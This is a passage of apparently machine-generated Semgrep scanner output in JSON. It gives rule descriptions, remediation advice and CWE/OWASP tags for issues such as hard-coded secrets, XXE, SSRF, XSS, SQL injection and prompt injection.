data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","id":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","name":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","id":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","name":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string","id":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","name":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","id":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","name":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","id":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","name":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","id":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","name":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","id":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","name":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","id":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","name":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","id":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","name":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://fastapi.palletsprojects.com/en/2.3.x/logging/](https://fastapi.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","id":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","name":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","id":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","name":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","id":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","name":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","id":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","name":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"help":{"markdown":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link)\n - [https://cwe.mitre.org/data/definitions/319.html](https://cwe.mitre.org/data/definitions/319.html)\n","text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"helpUri":"https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link","id":"html.security.plaintext-http-link.plaintext-http-link","name":"html.security.plaintext-http-link.plaintext-http-link","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.plaintext-http-link.plaintext-http-link"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled 